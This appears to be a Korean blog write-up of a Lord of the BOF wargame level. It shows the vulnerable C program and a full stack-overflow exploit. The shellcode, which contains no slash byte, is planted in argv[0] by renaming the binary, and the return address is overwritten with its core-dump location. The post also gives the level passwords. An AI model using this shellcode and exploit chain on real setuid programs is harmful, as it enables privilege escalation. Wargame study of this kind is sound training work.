반응형

login as : orge

password : timewalker


문제 확인

 

/*
        The Lord of the BOF : The Fellowship of the BOF
        - troll
        - check argc + argv hunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	// here is changed
	if(argc != 2){
		printf("argc must be two!\n");
		exit(0);
	}

	// egghunter
	for(i=0; environ[i]; i++)
		memset(environ[i], 0, strlen(environ[i]));

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	// check the length of argument
	if(strlen(argv[1]) > 48){
		printf("argument is too long!\n");
		exit(0);
	}

	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);

	// one more!
	memset(argv[1], 0, strlen(argv[1]));
}

 

1. 커맨드라인 인자는 무조건 하나여야 한다. 즉, argv[0]과 argv[1]만 존재해야 한다.
2. 환경 변수는 사용할 수 없다.
3. 커맨드라인 인자의 48번째 값은 스택 주소의 시작 byte를 의미하는 '\xbf'이어야 한다.
4. 커맨드라인 인자의 길이는 48byte까지만 가능하다.
5. buffer[40]에 셸코드를 저장해둘 수 없다.
6. argv[1]의 값도 0으로 초기화 한다.

 

이번 문제에서는 argv[0]와 argv[1]만 사용할 수 있게 조건이 생겼고, argv[1]은 나중에 0으로 초기화 된다.

 

그러므로 buffer[40]에도 argv[1]에도 셸코드를 담아둘 수 없다.

 

하지만 아직 argv[0]이 있고, 이 방법은 이미 level7에서 해봤기 때문에 어렵지 않다.

 

파일의 이름을 NOP + shellcode 형태로 변경하고, RET 부분을 argv[0]의 주소로 덮어씌우면 된다.


dummy 값 확인

 

지역 변수 공간으로 44byte를 확보하는 것을 보니 dummy 값은 없다.

 


공격

 

cp troll troll2

mv troll2 `python -c 'print "\x90" * 10 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`

./`python -c 'print "\x90" * 10 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "\x90" * 44 + "\xbf\xbf\xbf\xbf"'`

 

먼저 core 파일을 생성해 argv[0]의 주소를 알아야 하므로 troll 파일을 troll2 파일로 복사한 후 troll2 파일의 이름을 "NOP + shellcode" 형태로 변경한다.

참고)
여기서 사용된 shellcode는 일반적인 shell을 실행하는 셸코드가 아닌 \x2f가 포함되지 않은 셸코드이다.
0x2f는 '/' 슬래시를 의미하는 ascii 값이므로 셸에서 디렉토리라고 인식해버리기 때문에 \x2f가 포함되지 않은 셸코드를 사용하는 것이다.

 

그리고 이름이 변경된 troll2 파일을 의도적으로 RET 부분에서 segmentation fault가 발생하도록 실행하여 core 파일을 생성한다.

 

 

core 파일을 분석해보면 하얀 박스 부분이 buffer[40], 파란 박스 부분이 SFP, 주황 박스 부분이 RET, 빨간 박스 부분이 argv 부분이다.

 

그리고 argv[0]의 주소는 0xbffffd5f이다.

 

mv `python -c 'print "\x90" * 10 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` troll2

 

이제 troll 파일에 공격을 하기 위해 이름이 충돌하지 않도록 troll2 파일의 이름을 원래대로 되돌리고

 

mv troll `python -c 'print "\x90" * 10 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`

 

troll 파일의 이름을 "NOP + shellcode" 형태로 변경한 다음

 

 

./`python -c 'print "\x90" * 10 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "\x90" * 44 + "\x5f\xfd\xff\xbf"'`

 

이름이 변경된 troll 파일에 공격을 하면 troll 계정의 password인 aspirin을 얻을 수 있다.

 


\x2f가 없는 셸코드 출처 : https://hackhijack64.tistory.com/38

 

 

반응형

+ Recent posts